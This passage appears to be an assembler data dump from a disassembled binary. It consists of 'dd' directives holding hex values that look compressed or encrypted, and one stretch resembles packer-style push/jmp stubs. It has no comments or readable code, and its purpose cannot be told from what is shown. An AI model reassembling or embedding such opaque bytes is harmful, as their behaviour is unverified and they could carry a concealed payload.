dd 7FB5E92Bh, 2A603ED2h, 0D208967Dh, 2C8FAB03h, 5A07E6CEh
dd 67BC3DF4h, 166F1ADh, 0D7008B13h, 0F81BC86Eh, 5DB61BA6h
dd 0C051B641h, 21EE53DEh, 0A5D6F27Dh, 940543EBh, 8B9BD3DAh
dd 11393874h, 0CA000003h, 0FD607CBCh, 23FFE682h, 911C828Eh
dd 0E559FF68h, 0FFE68384h, 0DA60EF9Ah, 0DCF01DF6h, 2F4BDB44h
dd 7E71BD5h, 0B30898F1h, 5B083E60h, 3569AAB8h, 0D2CC45AAh
dd 10B51E47h, 0E50E9905h, 0B1D8F17Ch, 9031FAFh, 8E0FE0C6h
dd 0B9CD7664h, 0D97E922Ah, 73BC623Ch, 0E16C32DEh, 8E914FB8h
dd 6D966482h, 7909332h, 0F6200000h, 4DC572A8h, 0A76E1B51h
dd 0FB14C1F7h, 51C06DA3h, 2EE3174Dh, 9CD2CC45h, 437925EFh
dd 0EE247A96h, 96CCD241h, 0F0536FC7h, 1607E6CEh, 6CA7F9B0h
dd 0C34DA232h, 812750DBh, 148A89EEh, 0AEF02489h, 4757BE23h
dd 702A63BCh, 813B6CC8h, 0E6B85DB2h, 1E809340h, 8EE018E8h
dd 137E3874h, 0F000000h, 2436Dh, 0D8FB2500h, 0D2D81BB6h
dd 128C872Ch, 67BCB56Ch, 469F4AAh, 0D9028D11h, 0F556CA70h
dd 7FFE682h, 324EDE82h, 7E6C8DFh, 0C71CAC05h, 0D4BF414Ch
dd 2B5AE02h, 5DB66399h, 0EC9DB641h, 0CEC8E474h, 0F40FE0DBh
dd 85ACDD9Bh, 74AF9664h, 6D9D5h, 5F3FD700h, 8967C29h, 0AEF025D2h
dd 5A44CB78h, 49A7724h, 0FEE59ACEh, 0A8558B13h, 4FFC326Ch
dd 0FAA7DDC1h, 804F8519h, 0D0A90C28h, 71D707E6h, 326CA7BAh
dd 0CDD142A7h, 3BF52642h, 0ACE2BC57h, 748FA4DCh, 164238h
dd 9DF20000h, 0CD842A74h, 19F6Dh, 0C9E52500h, 0FFE68366h
dd 0D68D338Ch, 0E68380E0h, 65FB8EFFh, 0C86DB9D5h, 207907E6h
dd 8AD83B90h, 8AE90588h, 7F202B2Ch, 0BD628B16h, 97C04B53h
dd 3D749E2Eh, 0BDF48020h, 0B764A248h, 9EB7425Ch, 0C5D939EBh
dd 623CD53Ah, 0E40090F9h, 0FE0E3EAh, 42C17FD8h, 8996649Dh
dd 628AF4Eh, 8E880000h, 0E52DDA10h, 3FD683B9h, 937C295Fh
dd 0E928D50Bh, 964B7FB5h, 43A64ADh, 0ABE1BD57h, 568C12FEh
dd 0FE346AA9h, 58BBD72Fh, 7E07E6D0h, 7CBC6118h, 0E682FD60h
dd 24CA23FFh, 77029C77h, 129D0112h, 270BC5F6h, 29C76ECh
dd 5B936399h, 0F938748Fh, 7, 0E66D8Ah, 0E0060000h, 0FFE68380h
dd 0D565FB8Eh, 0CCD24095h, 0C86EB226h, 0FF5807E6h, 0A5F91A6Fh
dd 4D51C26Fh, 0F4AA68BDh, 0E7A2BB4Eh, 62CBD33Dh, 137692D2h
dd 4107E6C8h, 8EAA42E8h, 0FE0F494h, 6878EE3h, 45E7D0A4h
dd 8A30991Ch, 0C72AE841h, 0E8966417h, 5780EADh, 0DE380000h
dd 35DD8AC0h, 8F863369h, 0E32CD90Fh, 39D885BBh, 46FB2F65h
dd 0B4EAB45Dh, 5B910D07h, 63C62AEh, 0AEE4BA59h, 86B87DFh
dd 2E07E6D1h, 6CA711C8h, 0F9841AF6h, 0ADD767D0h, 6CA3F78Bh
dd 0C997B832h, 4DB245EBh, 848D8C6h, 0D23E60B3h, 0FFE6C36Fh
dd 79973C95h, 0D0EC7F25h, 1201E59Fh, 69A7FC8Ch, 0DB81AA35h
dd 0CF95CD9Dh, 7333874h, 0C4000000h, 1B6Dh, 6CA70600h
dd 0D142A732h, 0B0E942CDh, 9D0112F6h, 4559B80Dh, 207A619Fh
dd 13000000h, 0F3AB67BCh, 0EC993F68h, 0C0EC7727h, 0FFE6835Ah
dd 0AA68BD55h, 9A4069F4h, 987B5F19h, 0A719D006h, 8EA7326Ch
dd 0B6E829FBh, 65A1BD4Dh, 8107E6C8h, 0D0439828h, 0D60098CEh
dd 99D1468Eh, 3E60B1B1h, 7B218AB3h, 0CE5945CEh, 0B5E9297Eh
dd 0F3990510h, 9E58F792h, 0A3A9E182h, 0E7504EC1h, 92AEEE7Eh
dd 7E69D2Fh, 0F07B23F1h, 872D86C7h, 8E85AFEFh, 0E544D1CCh
dd 0D17EF298h, 8B0FE722h, 0C64DA232h, 1EF5A2D8h, 769BF080h
dd 0CE749D28h, 7A96EB3Bh, 0CA709924h, 0B0402069h, 0CF004670h
dd 1A68C643h, 8B9E0074h, 6BC407E1h, 647342ADh, 8726619Eh
dd 432h, 0D006987Eh, 79AFEF23h, 1F5549CCh, 0CB019D72h
dd 75ABF31Eh, 6EA38C41h, 0C74DFA30h, 1CF4A1D7h, 749F4C82h
dd 0CD25F42Ah, 0E6D24EB1h, 570E7407h, 0A2326CA7h, 35DAC44Dh
dd 1039C4DAh, 947F2C6Ah, 103A7A0Ah, 7DF761B4h, 265D12Fh
dd 30FFE728h, 0C1DD32D7h, 0F023881Bh, 0D60723AEh, 0C3DB381Ch
dd 3485BD8Dh, 51233875h, 0D3000000h, 1C147793h, 0E942FFE7h
dd 96F38C43h, 1D1E3ACAh, 7807E0D3h, 0D2B91C38h, 8EE707E0h
dd 0B6469FE8h, 0B9EFAF61h, 5A44CC21h, 8C00A6CFh, 7E0D227h
dd 395522F1h, 7E0D2D6h, 43AA3FCh, 0B1D4B957h, 5846C955h
dd 4B75F7DEh, 77B857E2h, 51000003h, 3ACA96F3h, 0E0B4941Eh
dd 2E83C307h, 831BCE2h, 0E0B3399Ch, 7E0E6707h, 0E0B2FF62h
dd 26CC2507h, 94F984DDh, 3B941F7Fh, 0D9B04802h, 6ED7C74Bh
dd 0E477B4DEh, 2485D0BAh, 51A6E67Eh, 2A749FC3h, 41D136C1h
dd 0DA4EF45Dh, 0FDBB050h, 2FC7FD56h, 25799AEFh, 0A205719Ah
dd 0D0FFE74Fh, 1970D177h, 0B75D050Bh, 0CAF37EE7h, 2BB5D161h
dd 0B707E180h, 0A36ED35Eh, 7F55B8D4h, 227B07E1h, 739C2EB9h
dd 0F86821B9h, 0AFC24C68h, 87E00FDBh, 389BB7F7h, 5EFFE74Fh
dd 74215F05h, 0F74FF9Fh, 3649A04h, 2E4ADA86h, 7E17A94h
dd 443DC832h, 321BDE80h, 0AEEE3EC9h, 0E1152F92h, 73EB5507h
dd 0B85CB6AFh, 2DA147B0h, 7E0B1C6h, 911C8290h, 2DB8E62Ch
dd 7E26E011h, 0E82C8119h, 0D58F10B6h, 6EB996CEh, 403440h
dd 0BCC50000h, 82FD607Ch, 0CA23FFE6h, 73C6C324h, 0E682F457h
dd 60C922FFh, 9BE6B4D0h, 9BF407E0h, 0A996C010h, 0AB7FEC74h
dd 52B92DD3h, 5C07E0A4h, 0E21A21DBh, 0C9406EAFh, 5B019D74h
dd 0D37Ah, 6CA70B00h, 0CF42A732h, 911C8293h, 0F74FF68h
dd 0CA0A9A04h, 0E6834BAEh, 7B2079FFh, 0CE610797h, 0BEF4AA69h
dd 67CAE626h, 3EFFE683h, 0E683BF22h, 4B8CE5FFh, 5CD84CF2h
dd 3BFFE688h, 877CDFFBh, 51AAFFE6h, 8915FEABh, 0AE66BB53h
dd 769D4AF0h, 5849D28h, 0C9AFCB5Bh, 0F507E09Ch, 83ECB260h
dd 0C39DEC4Dh, 773B1733h, 0A630FDDh, 0B2EC257Ah, 3542CF7Ch
dd 0ED76B619h, 1A83DCFFh, 9876055Ch, 2CCB0699h, 1CAh, 386E30E6h
dd 0E117878Bh, 87BDE134h, 336935DAh, 0DD138B86h, 60BF4A9h
dd 5FB56298h, 0B45C093Fh, 0C07B4EAh, 358D5C92h, 0E6D5B619h
dd 0BF76DC07h, 0FE346AA7h, 0A0FE1166h, 9CC64DFAh, 719A2579h
dd 103AD208h, 5078EB35h, 47FEA429h, 3ACA96F3h, 2D492EE5h
dd 0FFE683CAh, 90369FF8h, 9C0EDCF8h, 0B30C07E0h, 9B95FC28h
dd 1E9F07E0h, 0A7255D64h, 0C2C3406Eh, 73000000h, 43D50049h
dd 0A76C0B54h, 0DA436CF7h, 1BC1DD35h, 0B6CA764h, 0E6838CEFh
dd 0F861BAFFh, 63FF1368h, 0E187F0AEh, 7628E94Eh, 8843BFEBh
dd 0DC37FFE6h, 34DF8CC2h, 0C3C6DF6Ah, 0BF10D9Dh, 3707E09Dh
dd 0A42F6FA2h, 7BDC127Bh, 82C2520Eh, 2BB6E82Dh, 0ADE85C02h
dd 930FDD73h, 238C12FEh, 0CBD33E93h, 0ED3FD95h, 0B0BB511Fh
dd 55BC690Fh, 0AAA30622h, 78D1FFECh, 0A20A510Fh, 0B6F19998h
dd 0D117h, 6737DF00h, 108E8431h, 0B6E82DDAh, 623CD380h
dd 0C927F2Ch, 6EDA2D6h, 0B05D930Bh, 57043A64h, 2AFE5B9h
dd 88578D11h, 0D6B11430h, 79DF07E6h, 346AA7C2h, 0DCC251FEh
dd 821CF74Ch, 0EA28CEF7h, 326CA733h, 91D142A7h, 2A8F1A84h
dd 0E750B9E5h, 273950B1h, 0C7CA7B97h, 338C07E6h, 0CED043A8h
dd 65AB0098h, 863D4328h, 45AE495Ah, 7D21F29Fh, 0A126C6F2h
dd 25EC1720h, 8A89EE79h, 3C6D8914h, 841DA82h, 0E1557F4Eh
dd 841AF9DDh, 3256D0F9h, 33E08613h, 0DB88BEE0h, 0B5E92A38h
dd 898012Ah, 0B23D61B3h, 50E389h, 933965ABh, 0EA7529E6h
dd 91752F58h, 39E61C82h, 0D98988DAh, 0AFD8633Bh, 252DD46h
dd 0AE3965ADh, 3F8DF85h, 91000000h, 6FA75CBBh, 0D43FA42Fh
dd 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch
dd 2AEB50DBh, 8E84E974h, 68528510h, 5122h, 56242C89h, 0C681E689h
dd 4, 4EE81h, 34870000h, 1C895C24h, 535F6824h, 0C890000h
dd 25BA5224h, 553F9E69h, 9E2344BDh, 5DEA2937h, 545AD389h
dd 83240C8Bh, 815304C4h, 20B242Ch, 418F72F9h, 8418108h
dd 72F9020Bh, 592434FFh, 8B04C483h, 8957241Ch, 4C781E7h
dd 83000000h, 3C8704C7h, 55E95C24h, 0E7FFFA2Ah, 66D1D577h
dd 2EB80DC2h, 3080054h, 0F2E0FFC5h, 0EA70DA74h, 92194925h
dd 9C4DD325h, 200F0633h, 7A39C7ADh, 3335B7E3h, 0BB37C854h
dd 272E9249h, 4616ABADh, 0FC665008h, 0B31F9CB7h, 0EB42921Eh
dd 4A754E99h, 1F070D50h, 302BD8C8h, 0FD28C906h, 0D47EC034h
dd 0D34D27C4h, 6F0451E6h, 623A32BDh, 612A3144h, 2119AF7Eh
dd 0FD47659Dh, 1B7AB201h, 1F76200Bh, 9B63A8B5h, 0A76667ADh
dd 1751DF8Dh, 383CC6D9h, 0E655D526h, 796A6307h, 0E9529852h
dd 1A3h, 549E954Ah, 1AD52C27h, 46B198D3h, 0B4CAD1D7h, 5B7E41EFh
dd 5D9752E4h, 0FCA3FB6Dh
dd 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h, 9CACA3F4h
dd 9EB9FCh, 0AFC945D2h, 0FC00EE73h, 9CBA9755h, 0A4E56D59h
dd 0FEACFFB2h, 5657F647h, 0CCD4C4h, 8F7DB5F6h, 539549F7h
dd 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h, 43h dup(0)
dd 6D849700h, 69F033A2h, 0EEh, 8 dup(0)
dd 0E9000000h, 0FA5h, 58C468h, 0FE36E908h, 0C668FFFAh
dd 0E9080059h, 0FFFAFE2Ch, 5B2E68h, 0FE22E908h, 0FD68FFFAh
dd 0E908005Bh, 0FFFAFE18h, 5D2B68h, 0FE0EE908h, 0ED68FFFAh
dd 0E908005Dh, 0FFFAFE04h, 5EC468h, 0FDFAE908h, 4F68FFFAh
dd 0E908005Fh, 0FFFAFDF0h, 605D68h, 0FDE6E908h, 0CA68FFFAh
dd 0E9080060h, 0FFFAFDDCh, 619B68h, 0FDD2E908h, 2968FFFAh
dd 0E9080062h, 0FFFAFDC8h, 62EB68h, 0FDBEE908h, 3668FFFAh
dd 0E9080064h, 0FFFAFDB4h, 652368h, 0FDAAE908h, 29DEFFFAh
dd 96660D94h, 15F1981Fh, 8E8027AEh, 0FC09B037h, 0BFA43EC5h
dd 48CFF613h, 0D45B6AA1h, 61E8DF2Dh, 0EB7243BAh, 0BC845B4h
dd 6BEFE26Eh, 56D5FE32h, 0E2171CD9h, 0F4317CE7h, 9ED5EC1Dh
dd 0A6654AF5h, 835187E7h, 0B91C7D0Fh, 0E3A01DE5h, 43E7E21Ah
dd 9D70ADF8h, 2FB60FFEh, 43B70B8h, 7C358187h, 0DA8F3EFh
dd 0DC461FD8h, 7641ACEFh, 0AA16281Bh, 3FA9D0h, 9D850000h
dd 6AE9205Dh, 0E21730EDh, 0E44590E7h, 0FC6BEB81h, 0A6155227h
dd 7CD7F729h, 0AD5C43EFh, 0C1187914h, 0F4C03306h, 65B6F33Eh
dd 914A7F1Ah, 1EEFDD10h, 0BA89E8B3h, 17D0AAC4h, 0ECh, 259C6DF3h
dd 0C0F707EEh, 0CA9DDA25h, 3FD7EA93h, 1114BF21h, 902B9A72h
dd 0D4310845h, 721B52EDh, 0DD2DE2CBh, 3B124F37h, 0B958F3C2h
dd 0ADEA7140h, 0E7E2D3C6h, 0AFC6198h, 7C17AE5Fh, 0AC4BE631h
dd 82CD6851h, 0BE65EC37h, 6CDB764Fh, 3BB8EF2Ch, 0EF7CF539h
dd 92D158A3h, 0CC675EABh, 5D9D4481h, 0F4FAB734h, 0F5AEFDCh
dd 33108DC4h, 0D3F77157h, 9F6A5188h, 0F28D38D2h, 3E255CA7h
dd 0FEBDFAC3h, 8FFDAA57h, 1864EBC0h, 0E8100CD4h, 145FA3EFh
dd 0E5B28BC9h, 7B461D68h, 0D3038h, 0E7DE3100h, 7241B960h
dd 1B844EBh, 8A3DD37Ah, 18A15C03h, 66ECF791h, 0F49B229Bh
dd 8027AE07h, 0DB43B8Ah, 73EC5FCh, 6F5E1B98h, 85BEEFE2h
dd 0EA2CD551h, 0C17A4630h, 396623A0h, 7BC6E7E2h, 0E11CF330h
dd 53AA51D8h, 0B2442B62h, 3FFBEFBh, 0E9205D9Dh, 7C1F3A6Ch
dd 8A0786EFh, 0EFDC2ECDh, 0BC79F62Dh, 1CEFDC2Eh, 0F84986D1h
dd 24DD12ADh, 0F6EFDC2Fh, 7413AE07h, 37942F86h, 4E8511Ch
dd 0C073CE99h, 1D0AA25h, 0B7h, 0E19E1B9Ah, 41EFDC22h, 0D58DB9F6h
dd 3BF7E12Ch, 4B881806h, 912C8574h, 77AE17F2h, 1CE5FCCEh
dd 66A3FF53h, 1B775E93h, 0B049E7E2h, 3AD37A01h, 0D2B9F08Bh
dd 0F1C03839h, 83C00BA6h, 285F9CDCh, 7C3BA9ABh, 41C813EFh
dd 164D82CAh, 0ABAD4F6Dh, 0DC1992B7h, 5048F06Dh, 57A2F771h
dd 0F5CC3920h, 0BC482F6Eh, 0E21F6A05h, 89C7FE0Bh, 1D68858Eh
dd 2E2C6F3Ah, 3300000Ch, 0BB62E9DCh, 46ED7443h, 0D57C03BAh
dd 5E058C23h, 0F9931AA3h, 249D68EAh, 0B005F69Dh, 3D888229h
dd 0C7FE0FB6h, 1D9A0940h, 0EFE27060h, 6D5387C0h, 0FBA22990h
dd 957CB302h, 6CB75269h, 6D74702Fh, 538A259Ch, 169A57D4h
dd 0AFFAE7E2h, 0FF629B72h, 0D01BB609h, 4787FE85h, 3056D30Ah
dd 0E2EF7C48h, 0E3B76097h, 0CAF91115h, 6883E42Fh, 0F26FA6B1h
dd 0EFDC5D35h, 3A0D4A95h, 0DC5D4C05h, 0A36ED9EFh, 0AA7BE54Eh
dd 50DCD0h, 9DB80000h, 8831CC5Dh, 8B89063Dh, 0CFEF7C23h
dd 30A8C026h, 81BE004Ch, 154AE530h, 0EFDCB85Ch, 5EB37EE9h
dd 0D0AA98D5h, 25ECh, 5D9DC800h, 0E9843DCCh, 9F1C539Eh
dd 0EF7C1C1Dh, 6CA13C87h, 0EFDC1DB3h, 0B70AD540h, 0D0AA3A8Ch
dd 745h, 75C92100h, 0A5000008h, 0E9205D9Dh, 0E1ED0B6Ch
dd 3168B3DFh, 8530CBB2h, 29987148h, 0B302FBA2h, 0E562E118h
dd 0EFE26D28h, 59003D88h, 0FCA5DC11h, 0B608E8ECh, 24A1D81Bh
dd 0EFE23B67h, 0D03F7CC7h, 0E20E8753h, 0A7DE29E7h, 0F17849C0h
dd 0CB02B34Ah, 85331D22h, 0E2D94B08h, 0FF60ABF7h, 5A977861h
dd 9BD01887h, 0AB68E564h, 0BF7E293h, 939A57D4h, 0AFFAF7E2h
dd 7F36C564h, 0ED5C99E4h, 7CAAB270h, 8BC914FFh, 565E886h
dd 0C6246732h, 9B00000Ah, 23CA5164h, 0AE55DCEBh, 3DE46B52h
dd 0C66DF4CBh, 61FB823Bh, 8C35D072h, 18AD5E05h, 0A510EA91h
dd 2F86771Eh, 850271A8h, 0EFE271C8h, 0D5BBEF28h, 571AB2Ch
dd 0F330D2DEh, 0E228CD86h, 6E5E07E7h, 0FEFACA12h, 2E7948C0h
dd 0CD024AF1h, 0B96E1796h, 82B597D9h, 8A47C4FBh, 0EAE7E24Bh
dd 0C4F5629Fh, 2CDFE21Eh, 9BE35AE1h, 59B22F66h, 0F1E7E274h
dd 71886FA6h, 0FB12B940h, 78C02FCAh, 0D4250C43h, 0B231A0DDh
dd 3D3F709h, 0A01DFFF7h, 0F7E314E3h, 70ADF843h, 0E2E82F03h
dd 5F96E1EFh, 0C48637E0h, 7FD28FF2h, 23926B42h, 0AD04F59Ch
dd 3B26DD12h, 0E0287FE3h, 41F774ABh, 0B3877D33h, 36D1E814h
dd 0C962A0EBh, 0FF8D6462h, 9F7F134h, 956A0000h, 1AF29920h
dd 817D24ABh, 0FA0CB33Ah, 68953CC3h, 2330CA51h, 0D45B629Fh
dd 60E7DE2Dh, 0ED7443B9h, 77FEB746h, 9754D140h, 0F7EFE271h
dd 5D9D8ABEh, 0DAB29E0Ah, 4691BA9Dh, 375B660Fh, 0A2616095h
dd 4879F665h, 92DFE256h, 133B0DE9h, 0E2D3D996h, 8DEE39EFh
dd 4A870115h, 0CE77AEF9h, 0AE0872E8h, 790ACAFAh, 0B01DBEEEh
dd 0D2B92865h, 5C038A3Bh, 0A7914ADh, 6F568DC2h, 7CEB289Fh
dd 0E2CDA2FFh, 0FCA524E7h, 0D6E8C78Ch, 46033835h, 5EF7E35Ch
dd 5FF9E23Fh, 6DB8D112h, 2FCB936h, 115CF7E4h, 13883D4h
dd 14BCE31Ah, 33C2D0B6h, 0C36AF13Ch, 0C5447B4Ah, 0E3DA8B48h
dd 0BC4CEBF7h, 0AA7DBA05h, 87BEF33Bh, 0E3AD6E0Ah, 8EC510EFh
dd 0D85F56A7h, 6995D831h, 376C0752h, 0FFE4307Eh, 0CC033880h
dd 0E403DA4Fh, 5FAB4AF7h, 9C737C52h, 3D884C36h, 25D4BBF2h
dd 0AF5E058Ch, 0CC0C7B16h, 66AF588Fh, 0FAD1C24Eh, 481F02Dh
dd 0FFE4E6ABh, 0EE5DF843h, 0BD3A71AEh, 177F75F7h, 873ECA69h
dd 55A011E8h, 6221FE17h, 9CDFAA3Dh, 8C9h, 0C74E6798h, 52D9E820h
dd 0E1685FABh, 6AF1C43Ah, 0F87F46C3h, 30CD755Eh, 0A05B0289h
dd 15E78E15h, 85741BA2h, 0FF6EA52Ch, 0E273C582h, 0B8EC25EFh
dd 1CD956D5h, 7CE7E217h, 0EC1DF431h, 629B3AD5h, 0C7351C53h
dd 0A11E55F0h, 0E7E216E4h, 71AEF944h, 4A31A09Eh, 946706BFh
dd 0BE89E421h, 28AF06F7h, 503D46EDh, 0E7BD7h, 2D140000h
dd 0FE49E4DBh, 0B7C995C1h, 0A5000004h, 0ADEDB6F8h, 1EBC3970h
dd 0C0EF7C1Dh, 74DF4475h, 7EC2E76Ch, 4DCA013Eh, 0CA820F1Fh
dd 7549BA63h, 568EE0AFh, 0D729C819h, 8BFA95E0h, 5AD70E43h
dd 0D2774864h, 6D548BD6h, 0F79E259Ch, 0E71AF06h, 0FAF86263h
dd 807EC2Fh, 0A55A0000h, 2AE28910h, 916D149Bh, 0AFCA32Ah
dd 78852CB3h, 3320BA41h, 0C44B728Fh, 50D7EE1Dh, 0DD6453A9h
dd 67EEC736h, 8744C130h, 0E7EFE274h, 9C6D7AAEh, 418C3BD1h
dd 0D7FA07A6h, 0E2169D5Ah, 318477E7h, 0E7324B96h, 0EFD6159Ch
dd 0FF999019h, 9ECB90FBh, 0C6DB853h, 7E082FECh, 0AC53905Fh
dd 7BF82F6Ch, 0DFE247D8h, 5D063D88h, 0F16E70E8h, 0EFE28C34h
dd 3AE84994h, 68D7141Bh, 0B2398881h, 936FF20Bh, 0C3AAE12Ch
dd 6F427F46h, 7F3CB938h, 0DFEFE2FCh, 68B05794h, 7DFC33h
dd 0EFE2FC43h, 0AC1B58A3h, 0E2CFD22Fh, 916D54E7h, 7448F2Ah
dd 4D346BB6h, 0E7CE05BCh, 0A2619E11h, 7CB302FBh, 0DFE6995h
dd 87D26DB8h, 2DD8774Ah, 6B2B5694h, 0AD5029Eh, 730C7h
dd 0E7DE3100h, 7241B960h, 1B844EBh, 8A3DD37Ah
dd 18A15C03h, 66ECF791h, 0F49B229Bh, 8027AE07h, 0DB43B8Ah
dd 73EC5FCh, 755E1B98h, 85BEEFE2h, 0D956D551h, 0E7E2171Ch
dd 1724E15Eh, 3984E7E2h, 0AF6CE920h, 0FE7E216h, 953C79C4h
dd 64E11855h, 0DFE1EA07h, 0A6255CA7h, 2DFF31FDh, 4784E012h
dd 0F1289970h, 9F6EF30Ah, 0F540DB26h, 0BB52F9B8h, 0B8006F0Ah
dd 0A1ECD32Fh, 103BED6Ah, 5AA5F77Dh, 6459D71Ch, 83C6911Dh
dd 6A5h, 0EB724BBCh, 76FDB444h, 58C33CFh, 8E15A85Eh, 1CA31AE7h
dd 14F19182h, 8C7F26ADh, 0F10BB239h, 61983FC6h, 2392C950h
dd 0E275E9A6h, 0DC1049EFh, 1CD956D5h, 0F6E7E217h, 0CB16B104h
dd 41FE7BB2h, 0A1E7E217h, 9D6C0B56h, 0F910E724h, 7F8E2DC8h
dd 1720DD5Ah, 0E180E7E2h, 0B7029D24h, 0E786216Ch, 6A09A41Bh
dd 8D8B269Fh, 0F4F26732h, 576E9E85h, 0D93471BCh, 0FFB6470Eh
dd 39F63D78h, 7CBD750h, 0A7000000h, 281C9h, 9C6DA500h
dd 0D31B8A25h, 58B3BE4Ah, 3C87D26Dh, 16CB8805h, 0E02BE7E2h
dd 60DF5E95h, 0E21726E3h, 0FE3B86E7h, 0E1ED3491h, 289D4DFh
dd 7813A25Bh, 14A15A41h, 1AF12E79h, 0D84FD6EFh, 0A7245B90h
dd 0E7E2406Fh, 60477EC9h, 0EA9118A9h, 846BA213h, 59A43F76h
dd 0AEA74AF8h, 0ADEA4374h, 6FAA3DAh, 3507F2CFh, 0C05B6AA3h
dd 16ED2A75h, 0C837D2EBh, 97144B80h, 0FF7C65C9h, 9BE2206Bh
dd 4D05650Fh, 5973F82h, 35CA0000h, 0BA52F980h, 21DD840Bh
dd 9A6C139Ah, 8F59C23h, 83902AB1h, 34BB02FFh, 0C0477E8Dh
dd 4DD4E319h, 0D75E57A6h, 0F7B431A0h, 57EFE276h, 9C6DEA1Eh
dd 12EB8A25h, 0AF0A08A3h, 0D9E821E4h, 392C1752h, 0EA5D750h
dd 81000000h, 0A81DEED5h, 0A85C20Dh, 153h, 1CEED5E6h, 86C30EA9h
dd 29675EAFh, 129F50FEh, 2A7CBF8Ah, 37000005h, 0BF66EDC0h
dd 4AF1784Fh, 0D98007BEh, 62099027h, 0FD971EA7h, 28916C16h
dd 0B401FAA1h, 4174862Dh, 0CBFA13BAh, 219E0D44h, 0EFE27764h
dd 0D5578BC4h, 68A518EEh, 0AE497891h, 2CC7FE0Fh, 0A508D32Eh
dd 752D7BFCh, 0D54C77E0h, 12E445ADh, 0E0B7F4EBh, 722FAC29h
dd 0D2E7E222h, 7AB53C87h, 0D75032C9h, 0D08h, 0D0C9E400h
dd 0A5000000h, 0CAC9h, 5D9DA500h, 0EB6AE920h, 0E216B16Eh
dd 89C611E7h, 0E1EDBF1Ch, 6D9841DFh, 3B938744h, 0EA756F5h
dd 9AEB2873h, 0A6630EFBh, 0D839D41Fh, 0CF810897h, 95F641CEh
dd 858D1261h, 75ACF7CEh, 6BC79F6h, 0D11CEFE3h, 0A52C194h
dd 0F23D8481h, 1FCC3EBBh, 0EB36F77Dh, 644978ADh, 0F639041Dh
dd 459h, 37BEF708h, 0C2497890h, 51D8EF1Bh, 0DA6154AAh
dd 68EFD633h, 0C03DC5CEh, 30CB72F9h, 0A557FE85h, 15E48B12h
dd 6FDE159Ch, 0E27835F2h, 285C95EFh, 0E9205D9Dh, 80BD0802h
dd 0D3F99411h, 4E99EF7Bh, 0D6D53017h, 0EF40FFD0h, 97D41F10h
dd 0FEC54128h, 28803A77h, 0A554EFDCh, 22DE850Ch, 0E2C9009Bh
dd 0B5009B2Ah, 3EFFD78h, 9DD90000h, 6CE9205Dh, 0DFE1ED0Fh
dd 5AC964AFh, 29A6DD12h, 0F77C85B7h, 3398D621h, 0E51D652Fh
dd 3CBD71Ah, 61960000h, 0EE1EC54Ch, 5DA950D7h, 0C638DF66h
dd 44C168EFh, 775CF67Dh, 873ECBh, 8C13A259h, 19A017E5h
dd 0A32A9B72h, 0C380FD6Ch, 23EFE278h, 5D9DB6EAh, 0C16AE920h
dd 0A7779873h, 0F40AA996h, 9EDB26C1h, 0E294D031h, 0F62D78DFh
dd 0E2B1FE0Fh, 0BEB046A3h, 2BD40B56h, 0DB069CB2h, 9225D70Bh
dd 2E42E647h, 60D8EEAEh, 4CBD6423h, 42BF3E75h, 0EFE23185h
dd 318D4AC7h, 0A2EDEFE2h, 2E013E89h, 12EE7FBFh, 7AC510ABh
dd 17AE5C43h, 85F4317Ch, 0EEED1F06h, 0E230B471h, 7EC914EFh
dd 408D441h, 5FAAE7E2h, 0F9C84128h, 8332CB72h, 0FC3179E8h
dd 9D8A48C5h, 0A1ECFF7Ch, 65C86263h, 98DBA605h, 309h, 870EA758h
dd 129928E0h, 0A1289F6Bh, 2AB104FAh, 0B83F8683h, 708D351Eh
dd 0E01BC249h, 55A74ED5h, 0C534DB62h, 0BF2E65ECh, 0E2798542h
dd 78ACE5EFh, 0BC399C6Dh, 0E7E216FFh, 2EC9145Fh, 10477E8Fh
dd 48E3D229h, 8A01C0FDh, 0E7A42142h, 47E7E216h, 16D69310h
dd 0EB36E7E2h, 9F1E55A0h, 16E6A320h, 0A746E7E2h, 0DB18635Ah
dd 7C31686Eh, 0F48FDAEFh, 0DC4106BFh, 5D2893EFh, 0AA133F04h
dd 4392D0h, 9D6E0000h, 6AE9205Dh, 0FF3C8B83h, 7C1F6092h
dd 0B02DACEFh, 0EFDC2EF3h, 7ACB0853h, 0DE5D942Fh, 0DC2EA461h
dd 35887EEFh, 0EB364F9Ah, 6A05BC4Ch, 0BC75E21Fh, 49EFDC2Eh
dd 75BE13DEh, 4CD0AA25h, 0D4h, 0D19C6D28h, 552C8D34h, 0A7D9AFC7h
dd 0CA69044Fh, 4CEB863Fh, 0CA6904BDh, 0BEFB8233h, 0E7E244D7h
dd 2A6150A9h, 45712EABh, 86D1E7E2h, 2AE38A49h, 0A203BA47h
dd 99B42274h, 23BE09E9h, 0CE4B74B4h, 0E7E22811h, 8F36D271h
dd 45C2F944h, 0EF7C3C0Bh, 1C931A65h, 523289DCh, 0CCD1EE46h
dd 9FEA853Ch, 55D20954h, 0F7715F15h, 54FD347Fh, 18358DDBh
dd 0DE4D8AEBh, 2CB30AF7h, 3417885h, 1D68A2CCh, 0BE2E713Ch
dd 0A3000001h, 2BD2596Ch, 0B65DE4D3h, 45EC734Ah, 0CE75FCB3h
dd 69038A33h, 942DD87Ah, 2095660Dh, 0AD18F299h, 378E7F26h
dd 8D0A79B0h, 0EFE27AD0h, 6DC3F730h, 8D24D590h, 0D9240B42h
dd 5BA645E0h, 1BDA1762h, 0F52C8574h, 2BC6FF0Eh, 0E8E4A3E0h
dd 0E9205D9Dh, 76C9C16Ah, 3E4EB82Dh, 0E2C604C1h, 0CE1964E7h
dd 0CEF22491h, 115CEF7Ch, 0DF884176h, 9615EFDCh, 0D16C53AFh
dd 23EE4986h, 0AAF565CEh, 0B45CD0h, 6D380000h, 0EB8A259Ch
dd 0D70CA71Eh, 0E7E21BF0h, 437A4BC2h, 0D613AA5Ch, 0D4997017h
dd 0A8438E27h, 36A6F139h, 96882CFh, 7B245BA6h, 0A4047114h
dd 3AA9E6F9h, 7D2483BDh, 9740BFEFh, 0B61D4BFDh, 16D30860h
dd 76EFDDA0h, 529DEE2Bh, 0D71454CBh, 0ED3E23A0h, 0A3EEF771h
dd 4178856Ch, 0CFF613BAh, 67380491h, 0B2F5C01Dh, 0D1h
dd 0BF467F90h, 4AD1E018h, 0D96067A3h, 62E9DC32h, 0F0774EBBh
dd 38C54D56h, 0B853FA81h, 2DDF860Dh, 9D6C139Ah, 0F7669D24h
